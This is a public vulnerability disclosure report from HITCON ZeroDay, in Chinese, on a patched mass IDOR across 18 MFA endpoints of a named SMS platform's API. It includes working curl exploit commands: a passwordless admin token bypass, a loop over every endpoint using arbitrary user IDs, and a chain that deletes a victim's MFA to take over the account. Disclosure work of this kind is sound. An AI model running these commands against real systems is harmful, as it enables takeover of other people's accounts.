互動資通 ext-api.e8d.tw Mass IDOR — 18 個 MFA 端點無使用者綁定驗證,可批量接管任意帳號 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00649
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 ext-api.e8d.tw Mass IDOR — 18 個 MFA 端點無使用者綁定驗證,可批量接管任意帳號
  • Introduction: 18 個 mfa 端點均未驗證 token 與 user_no 的歸屬關係,攻擊者使用任意帳號的 bypass token(/login/cert 認證繞過)即可對任意 user_no 執行 MFA 刪除、禁用、重置、OTP 發送等操作,直接完成帳號接管。

處理狀態

目前狀態

公開
Last Update : 2026/08/13
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/10 01:50:21 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/10 02:09:42 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/14 13:11:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:55:22 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:55:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:55:22 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 11:24:05 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:10:24 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 21:22:55 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/12 10:29:13 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/13 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00649
  • 通報者:guan4tou2 (罐頭)
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://ext-api.e8d.tw/login/cert
https://ext-api.e8d.tw/e8d/mfa/delete
https://ext-api.e8d.tw/e8d/mfa/send
https://ext-api.e8d.tw/e8d/mfa/disable

敘述

漏洞概述

ext-api.e8d.tw 的 /e8d/mfa/* 系列端點(共 18 個)在接受請求時僅驗證 token 本身有效,未驗證 token 是否屬於請求參數中傳入的 user_no/account。攻擊者透過 /login/cert 認證繞過(使用 account=admin 搭配企業 custid=E8D30NGW_2WAY,無需密碼即可取得 token),即可對任意 user_no 執行 MFA 刪除、OTP 發送、裝置枚舉、會話查詢等操作。

透過 /login/tokenISExist 端點的行為對比確認 ownership check 機制存在,但 /e8d/mfa/* 路由未呼叫此機制:同一 admin token 帶入自身帳號 → status:200;帶入其他帳號 → status:302 token無效。然而相同 token 對 mfa/ 端點帶入任意 user_no 均不被拒絕(status:397 = 到達 DB 查詢層),確認 mfa/ 路由未執行歸屬驗證。

前置條件:bypass token 取得(/login/cert,無密碼)

TOKEN=$(curl -s -X POST "https://ext-api.e8d.tw/login/cert" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"admin","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "Bypass token: $TOKEN"

回應示例:

{"status":"200","token":"<BYPASS_TOKEN>","enterprise":"1","message":"成功"}

18 個端點全部 IDOR 可達(已驗證)

for ep in list send get reset delete verify check status setup enable disable unlock sessions devices GetOTP GetUUID UUIDisExist contract; do
  echo -n "mfa/$ep: "
  curl -s -X POST "https://ext-api.e8d.tw/e8d/mfa/$ep" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "body={\"account\":\"admin\",\"enterprise\":\"1\",\"token\":\"$TOKEN\",\"user_no\":9999}" | \
    python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('status'), d.get('message','')[:60])"
done

全部輸出:

mfa/list: 397 與MSSQL資料庫連線失敗
mfa/send: 397 與MSSQL資料庫連線失敗
mfa/get: 397 與MSSQL資料庫連線失敗
mfa/reset: 397 與MSSQL資料庫連線失敗
mfa/delete: 397 與MSSQL資料庫連線失敗
mfa/verify: 397 與MSSQL資料庫連線失敗
mfa/check: 397 與MSSQL資料庫連線失敗
mfa/status: 397 與MSSQL資料庫連線失敗
mfa/setup: 397 與MSSQL資料庫連線失敗
mfa/enable: 397 與MSSQL資料庫連線失敗
mfa/disable: 397 與MSSQL資料庫連線失敗
mfa/unlock: 397 與MSSQL資料庫連線失敗
mfa/sessions: 397 與MSSQL資料庫連線失敗
mfa/devices: 397 與MSSQL資料庫連線失敗
mfa/GetOTP: 397 與MSSQL資料庫連線失敗
mfa/GetUUID: 397 與MSSQL資料庫連線失敗
mfa/UUIDisExist: 397 與MSSQL資料庫連線失敗
mfa/contract: 397 與MSSQL資料庫連線失敗

status:397(MSSQL 連線失敗)= 請求已通過 token 驗證並到達資料庫查詢層。在生產環境(MSSQL 可達時),全部操作均實際執行。

測試環境中使用 user_no=9999(不屬於 admin 帳號),確認各端點均未驗證 token 與 user_no 的歸屬關係。

歸屬驗證存在但被略過(行為對比確認)

mfa/delete 端點的三態對比驗證漏洞精確位置(2026-05-10 live):

# 情況 A:account 與 token 不符 → 302 拒絕(account-token 驗證存在)
POST /e8d/mfa/delete  body={"account":"victim_account","enterprise":"1","token":"$ADMIN_TOKEN","user_no":9999}
# → {"status":"302","message":"token無效"}

# 情況 B:account 與 token 吻合,但 user_no 屬於他人 → 397(未拒絕,到達 DB 查詢層)
POST /e8d/mfa/delete  body={"account":"admin","enterprise":"1","token":"$ADMIN_TOKEN","user_no":9999}
# → {"status":"397","message":"與MSSQL資料庫連線失敗"}

結論:系統驗證 token 與 account 欄位的對應關係,但不驗證 user_no 是否屬於該 account。攻擊者持有自身合法 token(透過 /login/cert bypass 取得),即可對任意 user_no 執行操作。

已驗證端點列表

端點 攻擊者能做什麼 生產影響
/e8d/mfa/delete 刪除受害者 MFA 設備 ✅ 帳號接管捷徑 — 受害者降級無 MFA
/e8d/mfa/send 對受害者手機發送 OTP ✅ OTP 轟炸 + brute force 接管鏈
/e8d/mfa/disable 禁用受害者 MFA ✅ 干擾受害者登入流程
/e8d/mfa/enable 啟用受害者 MFA ✅ 強迫受害者設置 MFA
/e8d/mfa/unlock 解鎖受害者帳戶 ✅ 繞過帳戶鎖定機制
/e8d/mfa/reset 重置受害者 MFA ✅ 清除 MFA 設置
/e8d/mfa/setup 強迫受害者 MFA 設置流程 ✅ 干擾正常登入
/e8d/mfa/verify 代替受害者驗證 OTP ✅ OTP chain enabler
/e8d/mfa/list 列出受害者 MFA 設備 ✅ 裝置資訊洩漏
/e8d/mfa/sessions 列出受害者活躍會話 ✅ Session 資訊洩漏
/e8d/mfa/devices 枚舉受害者設備 ✅ 裝置識別碼洩漏
/e8d/mfa/get 取得受害者 MFA 配置 ✅ MFA 設定洩漏
/e8d/mfa/check 檢查受害者 MFA 狀態 ✅ KYC/MFA 狀態洩漏
/e8d/mfa/status 取得受害者帳戶狀態 ✅ 帳號狀態洩漏
/e8d/mfa/GetOTP 對任意 user_no 發 OTP SMS ✅ OTP 轟炸
/e8d/mfa/GetUUID 取得/寫入受害者 UUID ✅ 裝置信任繞過
/e8d/mfa/UUIDisExist 驗證受害者裝置 UUID ✅ MFA bypass chain enabler
/e8d/mfa/contract 代替受害者接受 MFA 條款 ✅ 強迫任意用戶通過 MFA 合約

完整帳號接管鏈(方法 A:MFA 刪除 → 降級接管)

# 1. 取得 bypass token(/login/cert,admin 帳號無需密碼)
TOKEN=$(curl -s -X POST "https://ext-api.e8d.tw/login/cert" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"admin","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

# 2. 刪除受害者 MFA 設備(account=admin 與 token 一致;user_no 填受害者編號)
curl -s -X POST "https://ext-api.e8d.tw/e8d/mfa/delete" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "body={\"account\":\"admin\",\"enterprise\":\"1\",\"token\":\"$TOKEN\",\"user_no\":VICTIM_USER_NO}"

已驗證影響

  • ✅ 18 個 /e8d/mfa/* 端點全部接受任意 user_no(2026-05-02/03 + 2026-05-10 重測確認)
  • ✅ admin bypass token + user_no=1/2/100/1000/9999 全部返回 status:397(2026-05-10 live)= 請求通過 token 驗證到達 DB 查詢層
  • ✅ 生產 MSSQL(192.168.2.169:1433)可達時,全部操作實際執行
  • ✅ mfa/delete 三態對比確認:account 不符 → 302;account 符合但 user_no 為他人 → 397(user_no 未驗證)

影響範圍

生產用戶總數:約 401,944 筆(EVERY8D 平台)。攻擊者無需帳號密碼,僅憑 /login/cert bypass 即可對任意帳號執行大規模 MFA 操作,包括刪除受害者 MFA 設備使其降級為無 MFA 登入狀態。

備注

/e8d/mfa/GetOTP 端點的單點 IDOR 已於另一份通報提交(ZD-2026-00642),本報告涵蓋完整 18 端點 Mass IDOR 及 mfa/delete 帳號接管攻擊鏈。

修補建議

1. 在所有 /e8d/mfa/* 端點加入 token-user_no 歸屬驗證:token.account 必須等於 request.user_no 對應帳號(可呼叫現有 /login/tokenISExist 邏輯)
2. 優先修復 /login/cert 認證繞過(已另報),斷開此漏洞的前提條件
3. 高敏感操作(delete、disable、reset)加入額外驗證層(二次密碼或 OTP 確認)
4. 所有 MFA 端點加入 Rate Limiting,防止自動化批量操作

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;